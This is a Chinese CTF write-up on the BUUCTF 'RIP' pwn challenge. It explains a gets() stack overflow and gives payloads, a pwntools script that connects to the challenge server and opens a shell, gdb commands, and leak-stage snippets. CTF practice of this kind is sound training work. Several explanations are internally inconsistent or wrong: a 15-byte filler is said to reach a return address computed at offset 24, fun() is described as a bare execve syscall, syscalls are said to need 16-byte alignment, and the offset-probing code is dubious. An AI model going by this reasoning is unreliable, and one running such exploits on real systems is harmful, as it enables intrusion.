BUUCTF PWN题‘RIP’的栈溢出实战:从原理到payload构造的深度解析
第一次看到BUUCTF上这道名为"RIP"的PWN题时,我本以为是个简单的栈溢出入门题。但当我尝试复现网上各种Writeup中的payload时,却发现有些能成功,有些却莫名其妙地失败。更令人困惑的是,通过IDA静态分析得出的payload长度与网上流传的版本相差甚远——这让我意识到,这道题背后隐藏着许多值得深挖的细节。
1. 题目环境与初步分析
拿到题目文件后,我习惯性地先用checksec检查保护机制:
$ checksec pwn1 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)从输出可以看出这是个64位程序,开启了NX保护(栈不可执行),但没有栈保护(canary)和地址随机化(PIE)。这意味着我们可以放心地进行栈溢出攻击,但需要面对64位环境下的一些特殊考量。
用IDA打开程序,很快就能定位到漏洞点——main函数中那个毫无防护的gets调用:
int __cdecl main(int argc, const char **argv, const char **envp) { char s[15]; // [rsp+0h] [rbp-10h] BYREF gets(s); return 0; }2. 两种payload的奥秘
在调试过程中,我发现了两种看似都能成功的payload构造方式:
第一种(短payload):
payload = b'a'*15 + p64(0x401186)第二种(长payload):
payload = b'a'*23 + p64(0x401198) + p64(0x401186)为什么两种长度差异如此之大的payload都能成功?要理解这一点,我们需要深入分析栈帧布局。
2.1 栈帧布局分析
通过IDA的"Stack of main"视图,我们可以看到局部变量s的存储位置:
| 偏移量 | 内容 | 大小 |
|---|---|---|
| rbp-10h | char s[15] | 15 |
| rbp-8h | (对齐填充) | 1 |
| rbp | 保存的rbp值 | 8 |
| rbp+8h | 返回地址 | 8 |
这里的关键在于64位环境下的栈对齐要求。虽然s只声明了15字节,但编译器会额外填充1字节来保证16字节对齐。因此从s到返回地址的实际偏移是:
15(s) + 1(填充) + 8(rbp) = 24字节但为什么15字节的payload也能工作?这是因为gets函数会一直读取输入直到遇到换行符,完全无视缓冲区大小。当输入15个'a'时:
- 前15字节填满s数组
- 接下来的1字节覆盖对齐填充
- 然后开始覆盖rbp(但程序后续并不使用这个值)
- 最后覆盖返回地址
2.2 关键函数分析
程序中有个隐藏的fun()函数,正是我们想要跳转的目标:
.text:0000000000401186 push rbp .text:0000000000401187 mov rbp, rsp .text:000000000040118A mov rax, 3Bh ; sys_execve .text:0000000000401191 syscall ; LINUX - sys_execve这个函数直接执行了execve系统调用(编号0x3B)。在正常情况下,这会导致程序崩溃,但在CTF环境中,这通常意味着成功获取了shell。
3. pwntools实战脚本开发
基于以上分析,我们可以编写更健壮的exp脚本。以下是经过实战检验的版本:
#!/usr/bin/env python3 from pwn import * context(arch='amd64', os='linux') # context.log_level = 'debug' def exploit(): # 两种payload任选其一 payload_short = b'a'*15 + p64(0x401186) payload_long = b'a'*23 + p64(0x401198) + p64(0x401186) # 自动选择可用的payload for payload in [payload_short, payload_long]: try: # p = process('./pwn1') p = remote('node3.buuoj.cn', 26692) # 有些题目recvuntil会超时,这里设置超时并直接发送 p.settimeout(2) p.sendline(payload) # 尝试交互 p.sendline(b'echo "success"') if b'success' in p.recv(timeout=1): p.interactive() return except: p.close() continue log.error("All payloads failed!") if __name__ == '__main__': exploit()这个脚本有几个实用技巧:
- 自动尝试两种payload,提高成功率
- 设置合理的超时时间,避免卡死
- 通过发送测试命令验证是否真的获取了shell
- 完善的错误处理机制
4. 调试技巧与常见问题解决
在实际操作中,有几个常见问题需要注意:
问题1:recvuntil超时
有些题目服务器响应不规范,直接使用recvuntil会导致超时。解决方案是:
- 设置合理的超时时间:
p.settimeout(2) - 必要时直接发送payload,跳过欢迎信息
问题2:如何验证栈布局
使用gdb调试时,可以在gets调用前后下断点,观察栈内存变化:
gdb ./pwn1 b *main+35 # gets调用前 b *main+40 # gets调用后 r <<< $(python3 -c 'print("A"*15 + "\x86\x11\x40\x00\x00\x00\x00\x00")') x/10xg $rsp # 查看栈内存问题3:为什么需要ret gadget
在长payload中,0x401198地址对应一个ret指令:
.text:0000000000401198 retn这个gadget的作用是保证栈对齐。在64位Linux下,调用系统调用时rsp必须16字节对齐,否则可能会失败。通过增加一个ret指令,我们让rsp多移动8字节,确保对齐正确。
5. 进阶思考:构建更可靠的exploit
在实际CTF比赛中,我们需要考虑更多边界情况。以下是一些改进思路:
自动化偏移探测:编写脚本自动探测正确的偏移量
def find_offset(): for i in range(10, 30): try: p = process('./pwn1') payload = cyclic(i) + p64(0x401186) p.sendline(payload) p.recv(timeout=1) p.close() except: log.info(f"Possible offset: {i}") return i多阶段payload:当一次溢出空间不足时,考虑分阶段注入
# 第一阶段:泄漏地址 payload = b'a'*24 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) # 第二阶段:发送主payload环境适配:检测远程环境并自动调整
if args.REMOTE: libc = ELF('./libc.so.6') else: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
在解决这道题的过程中,最让我印象深刻的是认识到栈对齐的重要性。起初我怎么也想不明白为什么网上那些payload在我的环境中会失败,直到我单步调试看到系统调用因栈不对齐而崩溃时,才恍然大悟。这也提醒我们,在编写exploit时,不能仅仅满足于让它"能工作",而是要深入理解背后的原理,这样才能应对各种变种题目。